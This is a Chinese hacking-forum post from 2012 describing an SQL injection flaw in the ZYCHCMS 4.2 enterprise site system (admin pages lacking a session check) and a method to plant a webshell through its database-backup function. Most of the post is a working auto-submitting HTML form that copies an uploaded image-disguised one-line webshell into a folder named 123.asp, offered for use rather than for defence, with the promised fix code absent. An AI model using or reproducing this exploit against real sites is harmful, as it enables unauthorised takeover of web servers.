找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1857|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

0 M; }7 S  ?! y5 L3 ]# u# S& w+ q; d0 y& J2 P% j* j7 @8 W

- W# S: u9 _; E* D/ A( d, D" V: o# g% `/ @! A* a* R3 B
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)0 W7 a7 J4 ]: V2 l/ r
①SQL注射漏洞
# \/ k( D3 o5 h- I/ x: R 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp9 i$ A1 r2 [; C2 M: Y. n
漏洞原因:未过滤
0 }$ j# R, _( [; ]% e! o 漏洞代码:$ q2 q& z8 M6 v8 ^( \) x/ ~
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。' @3 G; v7 N: M
修复方法:在文件开头加入代码  U) b8 F) v  Q3 d8 c5 j
( E$ u. a% t. n* L9 O7 w& }

& W- O; J8 s% P* B' a. `' f$ [②后台拿WBSHELL
; Y2 G, r& Z/ o2 p( R 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。+ i( Z5 M1 R+ U7 b4 m, q
这里在网上找了一个,改了下,将就着用。
9 v5 L9 W) a6 n( a 以下是代码本地提交代码
# x) W# ?" W4 D; l  ~ 2 r, [, L1 T& H# W# D& E
3 _, P* g* n2 I9 p/ E7 j
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
. S& t; I( [) V( v; r; q <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
6 E! _. Y: s  V$ ?( A- s <tr>0 [* _& U1 M8 c% T  m$ m7 K
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>; p8 h) i. y" a- W! B
</tr>
* K5 W! ^8 s# P4 k <tr>8 P- H; s# F; A4 g: }( i4 F  E
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
+ w& s. [: Q* F8 a6 O- g& h </span>* F, N! B. g' F+ e; y1 n0 N
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
7 ~" y3 W4 u; `$ a" q3 Q) b. d <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
% y' A! k: W0 D. A <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>( z- x6 K# O$ b+ i1 x9 f. z) S
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d+ g& o, l# s4 F
<div align=”left”>7 o7 c4 T1 T& t7 ]
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
; ~" A% f0 O! x+ J; L1 {2 l, Z <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>7 k* v; b& A0 g
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />& \' `- i; K* T6 _8 h) a9 F6 y
</div></td>. j$ g& @% F6 B; b! x5 u
</tr>
8 n- G$ l; J6 W7 {$ W2 @ <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" o3 T9 K$ s. i! K& u: v5 N7 I& e  E9 u <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>! b; u* o0 m0 B* y! O
<td class=”td”><div align=”left”>% a1 a* l6 @/ Q" ?  }
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />! ^& l6 J  U  [
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>* ^" o( O5 E& P  k, R6 E+ Z
</tr>: Y4 Y& d3 v; R  o1 C7 ?/ b% I
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>/ t) a7 {) ]: H4 Y! B
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
3 H$ o4 Z5 Z" ?; h8 f0 p) O <td class=”td”><div align=”left”>
- x7 f7 ?8 c7 L/ R% L: W3 U <input type=”submit” value=”确定备份” class=”btn”3 c( H9 i9 C9 ^3 k# m$ L
</div></td>
& \" m& b) E( j3 g1 D </tr>
: `/ F' X2 V! `7 S. f  g </table></td></tr></form>
+ W3 M  u: n  \4 ?# |0 } </table>
7 O$ \; Q1 A- \4 f9 x" I) M </td># U# T* t0 c, K/ n; s$ }: y
</tr>
- w$ {, o' z2 `$ X: ~3 e </table>1 z. @4 U  u- X: b" ~7 B
<script>9 f/ w+ B4 G& j* F0 o5 S
document.all.add.submit();
' N+ _/ @) V0 a- C) P/ J </script>
9 `6 d9 ?9 ]0 [- b$ F * _, d: v* E, K* {

# h$ [' c5 X- _4 l
; }$ b8 `! V2 z8 ?+ y6 X: r
7 |# Z1 K$ T! S7 R3 C
' E" F' M3 |8 Z2 |# I6 I1 T/ u9 Y5 n0 {" _

, z5 p- b( C4 P7 r9 \0 k4 P' d- T/ u
; V) q: [- y  ?( v. _) S( |
% N8 w1 X0 h6 D( O. P0 E* I8 ^( a0 r' m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表